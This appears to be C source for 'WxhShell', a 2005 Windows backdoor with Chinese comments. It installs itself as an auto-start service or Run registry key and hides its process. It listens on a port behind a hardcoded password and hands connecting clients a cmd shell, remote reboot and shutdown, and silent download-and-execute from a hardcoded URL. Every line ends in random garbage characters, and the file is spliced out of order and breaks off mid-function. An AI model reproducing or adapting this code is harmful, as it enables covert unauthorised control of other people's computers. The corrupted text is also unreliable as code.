    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u=0161g  
    else { LwH+X:?i  
    closesocket(wsh); T`c:16I  
    ExitThread(0); %PPkT]~\  
    } r/QI-Cf&  
    break; e|^.N[W  
    } Jt)J1CA Yo  
  // 关机 GxE`z6%[  
  case 'd': { BiZYGq  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }hXmK.['  
    if(Boot(SHUTDOWN)) Ki /j\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -@~4:o  
    else { WJ\,Y} J  
    closesocket(wsh); JYLAu4s6  
    ExitThread(0); drp< f1`l8  
    } Q{~;4+ZD  
    break; &0+Ba[Z ^  
    } :1~4X  
  // 获取shell MI`<U:-lP  
  case 's': { G%CS1#  
    CmdShell(wsh); %xC}#RDf  
    closesocket(wsh); %V(U]sbV  
    ExitThread(0); K'[kl'  
    break; >B.KI}dE  
  } SN$3cg]z  
  // 退出 :2~2j-m  
  case 'x': { \3x+Z!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _?XR;2 ]  
    CloseIt(wsh); )1<GSr9  
    break; C~M,N|m+^  
    } 8]4W@~c  
  // 离开 .8wF> 8  
  case 'q': { LVy (O9g  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Yv[<c!\   
    closesocket(wsh); V\AF%=6}  
    WSACleanup(); 'Xasd3*Py  
    exit(1); .pblI  
    break; 3RI %OCGF  
        } SOS|3q_`  
  } tHFUV\D;,  
  } 9zpOp-K6  
|#B)`r8  
  // 提示信息 $wk(4W8E  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HUel  
} `a@YbuLd  
  } - P4X@s_;  
j% '~l#nw  
  return; "_\77cqpTh  
} c7R6.T  
iq5-eJmq  
// shell模块句柄 +0:]KG!Zs.  
int CmdShell(SOCKET sock) 98CS|NEe  
{ e )]  
STARTUPINFO si; U \F ?{/  
ZeroMemory(&si,sizeof(si)); Qo80u? *  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Kw`}hSE>o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z/pxZ B ~"  
PROCESS_INFORMATION ProcessInfo; =3GgfU5k  
char cmdline[]="cmd"; d;).| .}P  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mC'<Ov<eJ  
  return 0; )ZfbM|  
} | 8akp  
U bh)}G,Mg  
// 自身启动模式 |doG}C  
int StartFromService(void) T~d_?UAw$  
{ B06W(y,3Q>  
typedef struct (^~~&/U_U$  
{ ,F=FM>o  
  DWORD ExitStatus; ~{t<g;F  
  DWORD PebBaseAddress; RZ?abE8  
  DWORD AffinityMask; k%;oc$0G-3  
  DWORD BasePriority; K>#QC  
  ULONG UniqueProcessId; +_ $!9m  
  ULONG InheritedFromUniqueProcessId; -s 7a\H{~  
}   PROCESS_BASIC_INFORMATION; *^ua2s.  
t24.u+O  
PROCNTQSIP NtQueryInformationProcess; j!IkU}*c  
 >Xxi2Vy  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )1!0'j99.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +rka 5ts  
$]J<^{v  
  HANDLE             hProcess; i`!>zl+D  
  PROCESS_BASIC_INFORMATION pbi; $IJ"fs  
`F_R J.g*p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Yd<9Y\W%?  
  if(NULL == hInst ) return 0; ,S&p\(r.  
].@8/. rg  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zuJ@@\75  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k: z)Sw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }RUK?:lEA  
Ru$%gh>v  
  if (!NtQueryInformationProcess) return 0; N^'(`"J s  
.cr<.Ov  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x}uDW   
  if(!hProcess) return 0; Y"TrF(C  
7MhaLkB_6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; SgQ(#y|vV  
/Nhc|x6zQ  
  CloseHandle(hProcess); Mwa Rwk;  
Ys<z%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =Nr?F '<  
if(hProcess==NULL) return 0; tV2o9!N4  
oKPG0iM:  
HMODULE hMod; %kuUQ%W1  
char procName[255]; ?2K~']\S  
unsigned long cbNeeded; UW{C`^?=B  
Tzfk_h3hE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P}he}k&IR  
Tz7|OV_W$  
  CloseHandle(hProcess); _D8:p>=  
O ]t)`+%q  
if(strstr(procName,"services")) return 1; // 以服务启动 RP9~n)h~b  
?v&2^d4C*F  
  return 0; // 注册表启动 [f]:h Ji  
} -2Dgr\M  
f;bVzti+w  
// 主模块 +^[SXI^JaJ  
int StartWxhshell(LPSTR lpCmdLine) A $l  
{ CJ6vS  
  SOCKET wsl; R+9 hog  
BOOL val=TRUE; Xv xrz{  
  int port=0; QiNLE'19^  
  struct sockaddr_in door; so A] f  
]G,BSttD  
  if(wscfg.ws_autoins) Install(); Q}1qt4xy*  
g+-^6UG  
port=atoi(lpCmdLine); ~oRT@E  
)+f"J$ah  
if(port<=0) port=wscfg.ws_port; ^j2z\yo  
y/"CWD/i  
  WSADATA data; 5qkyi]/U8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )00jRuF  
xo{z4W  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0RN7hpf&`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fBKN?]BdN  
  door.sin_family = AF_INET; pAyUQe;X#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?&POVf>  
  door.sin_port = htons(port); 3w+ +F@(  
Zk5AZ R!|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M%5_~g2n'\  
closesocket(wsl); @QDpw1;V'  
return 1; s 4n<k]d  
} h@Ix9!?+  
q'%!qa+  
  if(listen(wsl,2) == INVALID_SOCKET) { U:8cz=#  
closesocket(wsl); Iv?1XI=  
return 1; {T3wOi  
} afjEN y1  
  Wxhshell(wsl); @Suww@<  
  WSACleanup(); 6ciA|J'MR  
jK2gc^"t  
return 0; fF. +{-.  
r(g2&}o\  
} %4w#EbkSS  
}U**)"  
// 以NT服务方式启动 3vEwui-5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ULxgvq  
{ h#u k-7  
DWORD   status = 0; ZC)m&V 1  
  DWORD   specificError = 0xfffffff; $^W|@et{ ]  
#2%8@?_-M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0VIR =Pbp  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; tNxKpA |F  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DOq"=R+  
  serviceStatus.dwWin32ExitCode     = 0; W&2r{kCsQ  
  serviceStatus.dwServiceSpecificExitCode = 0; I3YSW  
  serviceStatus.dwCheckPoint       = 0; f5'vjWJ30  
  serviceStatus.dwWaitHint       = 0; UhSaqq  
?*cCn-|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `(~oZbErM  
  if (hServiceStatusHandle==0) return; (>gb9n  
'fY29Xr^  
status = GetLastError(); ePTxuCf>  
  if (status!=NO_ERROR) L"( {6H  
{ %\!@$]3q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *++}ll6  
    serviceStatus.dwCheckPoint       = 0; J?f7!F:8  
    serviceStatus.dwWaitHint       = 0; aF.fd2k  
    serviceStatus.dwWin32ExitCode     = status; \Lm`jU(:l  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8aW<lu  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i \@a&tw  
    return; nsu RG  
  } gVs@T'  
)yS8(F0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; iL'j9_w,  
  serviceStatus.dwCheckPoint       = 0; *Q;?p hr  
  serviceStatus.dwWaitHint       = 0; 2QKt.a  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]x6r P  
} Xkf|^-n  
aX.//T:':?  
// 处理NT服务事件,比如:启动、停止 `Cz_^>]|=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \Z-Fu=8J8^  
{ MK <\:g  
switch(fdwControl) 5]2 p>%G  
{ @Z Dd(xB&  
case SERVICE_CONTROL_STOP: BxesoB  
  serviceStatus.dwWin32ExitCode = 0; ra^"Vr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; fj[Kbo 7!h  
  serviceStatus.dwCheckPoint   = 0; {6>$w/+~  
  serviceStatus.dwWaitHint     = 0; SxL/]jWR7  
  { Uf~5Fc1d =  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); </_.+c [  
  } E|_}?>{R  
  return; Bx|h)e9  
case SERVICE_CONTROL_PAUSE: d/\ajQ1::  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; p+${_w>pl{  
  break; gN[^ ,u  
case SERVICE_CONTROL_CONTINUE: c;88Wb<|W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fD%20P`.  
  break; Xl E0oN~{  
case SERVICE_CONTROL_INTERROGATE: '|G8yojz  
  break; dyl1~'K^  
}; STz@^A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5JS*6|IbD{  
} 1tlqw  
@GF3g=  
// 标准应用程序主函数 Ka$lNL3<j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @I?: x4  
{ U"a7myB+jX  
%Hu.FS5'  
// 获取操作系统版本 \9]- (j6[H  
OsIsNt=GetOsVer(); ~Jlq.S'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Qki? >j"  
8qoA5fW>  
  // 从命令行安装 %{0F.  
  if(strpbrk(lpCmdLine,"iI")) Install(); Us% _'}(/U  
Y /l~R7  
  // 下载执行文件 @QF;m  
if(wscfg.ws_downexe) { d"thM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j? Vs"d|  
  WinExec(wscfg.ws_filenam,SW_HIDE); \+k~p:d_8  
} ^,` L!3  
c!mMH~#  
if(!OsIsNt) { q XB E3  
// 如果时win9x,隐藏进程并且设置为注册表启动 p:3w8#)MZ  
HideProc(); CW+gZ!  
StartWxhshell(lpCmdLine); w7f)v\p  
} lLI%J>b@  
else {d> 6*b  
  if(StartFromService()) tMyMA}`  
  // 以服务方式启动 IH.EvierJ  
  StartServiceCtrlDispatcher(DispatchTable); *?+2%zP  
else nIqF:6/  
  // 普通方式启动 [C@ Ro,mI  
  StartWxhshell(lpCmdLine); W3n[qVZIC  
h;~NA}>  
return 0; D[{"]=-  
} ZHCrKp  
CiTWjE?|7  
" +hUt  
e1hf{:&/G@  
=========================================== Q+Eqaz`  
n%!50E6*:  
,q$2D,dz  
cG4}daK]d  
Fzz9BEw(i  
Ii>#9>!F  
" }6*JX\'q  
*p|->p6,u  
#include <stdio.h> m<!CF3g  
#include <string.h> Hio+k^  
#include <windows.h> &"Fz)}  
#include <winsock2.h> -?Cu-'  
#include <winsvc.h> Zt 1nH  
#include <urlmon.h> &uI33=   
bnV)f<  
#pragma comment (lib, "Ws2_32.lib") 1+Vei<H$  
#pragma comment (lib, "urlmon.lib") \U'*B}Sz  
2~h Q   
#define MAX_USER   100 // 最大客户端连接数 |C>\k u*  
#define BUF_SOCK   200 // sock buffer MI~Q Xy,  
#define KEY_BUFF   255 // 输入 buffer ]NKz5[9D  
SRrp= >w?  
#define REBOOT     0   // 重启 kqGydGh*"  
#define SHUTDOWN   1   // 关机 |RDE/  
#*3 vE& p  
#define DEF_PORT   5000 // 监听端口 >"Zn# FY  
S e(apQH  
#define REG_LEN     16   // 注册表键长度 Ad4-aWH  
#define SVC_LEN     80   // NT服务名长度 FV%|*JW[;N  
6L2Wv5C  
// 从dll定义API m*v@L4t( 1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !RN9wXS7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); i(xL-&{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2(R{3E4.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >uE<-klv  
ZQmg;L&7  
// wxhshell配置信息 {7Kl #b  
struct WSCFG { ][~rk?YY  
  int ws_port;         // 监听端口 w7~&Xxa/  
  char ws_passstr[REG_LEN]; // 口令 8_3WCbe/  
  int ws_autoins;       // 安装标记, 1=yes 0=no t`1~5#?Du(  
  char ws_regname[REG_LEN]; // 注册表键名 vb`:   
  char ws_svcname[REG_LEN]; // 服务名 9W j9=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 xww\L &y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 pWKI^S  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #c-Jo[%G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X$ A ]7t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3) XS^WG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OO;I^`Yn  
^;@!\Rc  
}; c32"$g  
4n%|h-!8  
// default Wxhshell configuration &]c7<=`K"  
struct WSCFG wscfg={DEF_PORT, C6d#+  
    "xuhuanlingzhe", ,;yaYF 6|/  
    1, ]K<7A!+@@p  
    "Wxhshell", &cf_?4  
    "Wxhshell", y <P1VES  
            "WxhShell Service", +Xmza8T9  
    "Wrsky Windows CmdShell Service", p(A[ah_  
    "Please Input Your Password: ", ^{-Z3Yxd  
  1, $ccCI \  
  "http://www.wrsky.com/wxhshell.exe", @>[3 [;  
  "Wxhshell.exe" bW zUWLa  
    }; H#QPcp@  
%i&\ X[  
// 消息定义模块 qtp-w\#S$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; = Ru q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M\kct7Y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Qq\hD@Z|  
char *msg_ws_ext="\n\rExit."; wT:mfS09N  
char *msg_ws_end="\n\rQuit."; O! w&3 p  
char *msg_ws_boot="\n\rReboot..."; l{. XhB  
char *msg_ws_poff="\n\rShutdown..."; Zy6>i2f4f  
char *msg_ws_down="\n\rSave to "; "mcuF]7F  
8+~'T|  
char *msg_ws_err="\n\rErr!"; |tO.@+[uqP  
char *msg_ws_ok="\n\rOK!"; Q5;EQ .#  
 "-G&]YMl  
char ExeFile[MAX_PATH]; N ^H H&~V  
int nUser = 0; x%RE3J-  
HANDLE handles[MAX_USER]; u6*mHkM  
int OsIsNt; 8 HdjZ!  
_Tf0L<A'R  
SERVICE_STATUS       serviceStatus; |l,0bkY@&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $HV`bJ5!L*  
9>d~g!u=  
// 函数声明 -yY]0  
int Install(void); I0sw/,J/Z  
int Uninstall(void); 1@`mpm#Y  
int DownloadFile(char *sURL, SOCKET wsh); }k6gO0z  
int Boot(int flag); 5R O_)G<  
void HideProc(void); UujKgL4  
int GetOsVer(void); z4(Q.0x7  
int Wxhshell(SOCKET wsl); lUHpGr|U%  
void TalkWithClient(void *cs); 9Oc(Gl5az  
int CmdShell(SOCKET sock); 5Veybchy "  
int StartFromService(void); ~Yl%{1  
int StartWxhshell(LPSTR lpCmdLine); R<ZyP~  
R?l={N=Wf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _^Q =n>G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0,m@BsK  
P L*kjrLu7  
// 数据结构和表定义 wU5= '  
SERVICE_TABLE_ENTRY DispatchTable[] = >\ PNKpn{  
{ o&rNM5:  
{wscfg.ws_svcname, NTServiceMain}, L(3} H,t  
{NULL, NULL} WOf*1C  
}; !,;/JxfgVh  
/Y*6mQ:  
// 自我安装 uh~,>~a|  
int Install(void) q6V\n:hKV  
{ OyTp^W`&  
  char svExeFile[MAX_PATH]; Ndqhc  
  HKEY key; [f-<M@id/  
  strcpy(svExeFile,ExeFile); liVj-*m  
P!lTK   
// 如果是win9x系统,修改注册表设为自启动 O%busM$P)/  
if(!OsIsNt) { |dk9/xdX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l1}HJmom  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mV'^4by  
  RegCloseKey(key); `xu/|})KI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <,(Ww   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WJw %[_W  
  RegCloseKey(key); Rs1JCP=d8  
  return 0; PH]ui=  
    } ZbLN:g}  
  } OEj%cB!  
} 9rQw~B<S  
else { w_^g-P[o-  
HiDL:14  
// 如果是NT以上系统,安装为系统服务 5\P3JoH:Yg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z/= HQ8  
if (schSCManager!=0) 7Dwf0Re`  
{ kG]FB.@bG  
  SC_HANDLE schService = CreateService gX *i"Y#  
  ( >tVD[wVF0  
  schSCManager, 4Awl  
  wscfg.ws_svcname, :X ~{,J  
  wscfg.ws_svcdisp,  tvvRHvL  
  SERVICE_ALL_ACCESS, @`#"6y?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <LOas$  
  SERVICE_AUTO_START, bY7~b/  
  SERVICE_ERROR_NORMAL, 7%Ii:5Bp  
  svExeFile,  Q~AK0W  
  NULL, )w!*6<  
  NULL, >&2n\HR\  
  NULL, "r.eN_d  
  NULL, }e0)=*;l  
  NULL Z\P&i#  
  ); :ODG]-QF  
  if (schService!=0) 5nJmabw3  
  { <ooRpn  
  CloseServiceHandle(schService); CGN:=D<  
  CloseServiceHandle(schSCManager); 5_ioJ   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p}R3A J  
  strcat(svExeFile,wscfg.ws_svcname); z9[BQ(9t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ' CO3b,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,mW-O!$3W  
  RegCloseKey(key); Y'%k G5nF  
  return 0; ]R  s  
    } Sej\Gt  
  } YkbZ 2J*-  
  CloseServiceHandle(schSCManager); \hT=U*dMR  
} yu] nK-Y7S  
} \Z%V)ZRi=  
a#:K"Mf.  
return 1; dk4|*l-  
} dTW3mF4=  
|qTS{qQh{L  
// 自我卸载 J`x!c9zg7  
int Uninstall(void) 9Wi+7_)  
{ 8]-c4zK  
  HKEY key; .ITR3]$  
U:o(%dk  
if(!OsIsNt) { m^Xq<`e"<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ON/U0V:v  
  RegDeleteValue(key,wscfg.ws_regname); fA>FU/r  
  RegCloseKey(key); *wetPt)~v_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -v7O*xm"  
  RegDeleteValue(key,wscfg.ws_regname); +HOHu*D  
  RegCloseKey(key); z^r  
  return 0; T1Y_Jf*KJ  
  } =ADdfuKN  
} ^`XTs!.  
} |ydOi&  
else { ?h4Rh0rkX  
c_YP#U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 17{$D ,P  
if (schSCManager!=0) <X,0\U!lL  
{ gr y]!4Hy  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); urK[v  
  if (schService!=0) 7 -Yn8Gq  
  { 9!06R-h  
  if(DeleteService(schService)!=0) { t*'U|K4L/  
  CloseServiceHandle(schService);  M} {'kK  
  CloseServiceHandle(schSCManager); f~NGIlgR  
  return 0; (jY -MF3  
  } iCrLZ" $M  
  CloseServiceHandle(schService); rWo&I _{  
  } )+S^{tt  
  CloseServiceHandle(schSCManager); j\S}TaH0e  
} 3l8k O  
} 2PSt*(  
eQvdi|6  
return 1; P,@ :?6  
} pNzSy"Y$  
oTqv$IzqP  
// 从指定url下载文件 U1wsCH3+n  
int DownloadFile(char *sURL, SOCKET wsh) )+ss)L EC  
{ :UgCP ~Y  
  HRESULT hr; sjISVJ?  
char seps[]= "/"; xYGB{g]  
char *token; ucVn `  
char *file; gZD,#D.hR  
char myURL[MAX_PATH]; lB Y"@N  
char myFILE[MAX_PATH]; T+y3Ph--^  
e:&(y){n(  
strcpy(myURL,sURL); Fl'+ C  
  token=strtok(myURL,seps); yj48GQP]  
  while(token!=NULL) Y79{v nlGk  
  { LgX"Qk&Ca  
    file=token; tb@&!a$`?  
  token=strtok(NULL,seps); ,ruL7|T&  
  } hn bF}AD  
ED+tVXyw  
GetCurrentDirectory(MAX_PATH,myFILE); f(o1J|U{  
strcat(myFILE, "\\"); ZV; lr Vv  
strcat(myFILE, file); e+t2F |xDh  
  send(wsh,myFILE,strlen(myFILE),0); (K(6`~  
send(wsh,"...",3,0); U%~L){<V[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9(PQ7}  
  if(hr==S_OK) X-&U-S;  
return 0; e viv,  
else Alsr6uLT1  
return 1; mz~aSbb|  
w9J^s<e  
} pg.z `k  
85Hb~|0  
// 系统电源模块 %;Dp~T`0  
int Boot(int flag) .Y"H{|]Mnh  
{ 6H\apgHm  
  HANDLE hToken; oq<n5  
  TOKEN_PRIVILEGES tkp; >,Zf3M  
w/`I2uYu  
  if(OsIsNt) { f.4m6"1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]ctlK'.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3 oG5E"G  
    tkp.PrivilegeCount = 1; :$`"M#vMX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !\0UEC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); HktvUJ(Ii  
if(flag==REBOOT) { YRy5.F%?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _;Q1P gT  
  return 0; P1Z+XRWOM  
} Q599@5aS  
else { 7n1@m_7O  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0pSqk/  
  return 0; -}B&>w,5  
} \Ami-<T  
  } xt%-<%s%f  
  else { F|3 =Cl  
if(flag==REBOOT) { Fnnk }I}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o0nKgq'w|x  
  return 0; Ri}n0}I  
} W+&w'~M  
else { 8}& O7zO?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )PRyDC-  
  return 0; d8|bO#a%9  
} 1Fado$# 7  
} `|1#Vuk  
;BsPms@U  
return 1; 4&Q.6HkL  
} ccUq!1  
&gn^i!%Z)  
// win9x进程隐藏模块 rI\G&OqpP  
void HideProc(void) 36<PI'l#~  
{ v>2gx1F"?  
'\ $2+*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :<    
  if ( hKernel != NULL ) ?]`kc  
  { <_S>-;by  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <$^76=x,8P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'nOc_b0  
    FreeLibrary(hKernel); 88)F-St  
  } hcvWf\4'#q  
r*|#*"K"a  
return; f_*Bd.@  
} !^dvtv`K  
nMK,g>wp  
// 获取操作系统版本 >AT{\W!N  
int GetOsVer(void) %"2 ;i@  
{ M(l>^N8W8  
  OSVERSIONINFO winfo; $nB4Ie!WcR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D0(%{S^  
  GetVersionEx(&winfo); q;dg,Om  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *(%]|z}]m  
  return 1; 2L#$WuM~^  
  else l .8@F  
  return 0; 6R%Ra  
} <+1d'VQ2  
CzF#feTA  
// 客户端句柄模块 vI<n~FHt  
int Wxhshell(SOCKET wsl) Oy :;v7  
{ LV4]YC  
  SOCKET wsh; vJheM*C  
  struct sockaddr_in client; ^:.=S`,^  
  DWORD myID; CS;bm `8a  
r sf +dC  
  while(nUser<MAX_USER) gK{-eS  
{ Hshm;\'  
  int nSize=sizeof(client); iWbrX1 I+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9sQ4 $  
  if(wsh==INVALID_SOCKET) return 1; > .L\>  
/bE=]nM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); pDGX$1O"  
if(handles[nUser]==0) GA, 6G [E  
  closesocket(wsh);  aKkG[q N  
else wI!>IV(5  
  nUser++; sLGut7@Sg  
  } _5F8F4QY`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "~y@rqIba  
`'Fz :i  
  return 0; 50 :gk*hy  
} DYJ F6O  
[b-wak})aD  
// 关闭 socket \,<5U F0  
void CloseIt(SOCKET wsh) YQb43Sh`  
{ -nbo[K  
closesocket(wsh); v(+9&  
nUser--; 7!0~sf9A  
ExitThread(0); |p"P+"#  
} [whX),3>  
={[s)G  
// 客户端请求句柄 C]ev"Am_)  
void TalkWithClient(void *cs) &,pL3Qos  
{ n>d@}hyv  
oMH-mG7:K  
  SOCKET wsh=(SOCKET)cs; $Hr qX?&r  
  char pwd[SVC_LEN]; Y`5(F>/RQG  
  char cmd[KEY_BUFF]; 0Q^a*7w`8a  
char chr[1]; /&g5f4[|p  
int i,j; 'l+).},  
^l}Esz`-M  
  while (nUser < MAX_USER) { 7B@[`>5?%L  
N/ 7Q(^  
if(wscfg.ws_passstr) { `:hEc<_/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _^+z2m+ ~N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F dR!jt  
  //ZeroMemory(pwd,KEY_BUFF); s8,{8k  
      i=0; y8=(k}=3  
  while(i<SVC_LEN) { 4l0ON>W(  
DH(Q md  
  // 设置超时 0/7y&-/(  
  fd_set FdRead; xz1jRI$  
  struct timeval TimeOut; '~2S BX?J  
  FD_ZERO(&FdRead); s68&AB   
  FD_SET(wsh,&FdRead); VqzcTr]_  
  TimeOut.tv_sec=8; 2&st/y(hs  
  TimeOut.tv_usec=0; pBW|d\8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u)]]9G _8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N*~G ]  
6#egy|("nF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7Sc._G{[%  
  pwd=chr[0]; II !Nr{A  
  if(chr[0]==0xd || chr[0]==0xa) { E'|@hL-jn  
  pwd=0; `~zY!sK  
  break; A^/$ |@  
  } Gw3H1:yo  
  i++; g. V6:>,  
    } m_{?py@tZ  
8Vcg30_+  
  // 如果是非法用户,关闭 socket %nU8 Ca  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *XRAM.  
} ( Z-~Eh  
de.!~%D  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?.&]4z([  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N1dp%b9W(  
@ lo6?9oNo  
while(1) { yDwG,)m 4s  
K OZHz`1!  
  ZeroMemory(cmd,KEY_BUFF); Z)RoFD1]C  
a@[y)xa$Z  
      // 自动支持客户端 telnet标准   ^rz8c+ly  
  j=0;  2=X\G~a  
  while(j<KEY_BUFF) { r^<W$-#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ET ;=o+\d  
  cmd[j]=chr[0]; Jg I+k Nx  
  if(chr[0]==0xa || chr[0]==0xd) { 8mM^wT  
  cmd[j]=0; obUX7N  
  break; qla$}dnvc  
  } *], ]E;  
  j++; 4~<  :Pj  
    } V~rF`1+5N  
o<\CA[   
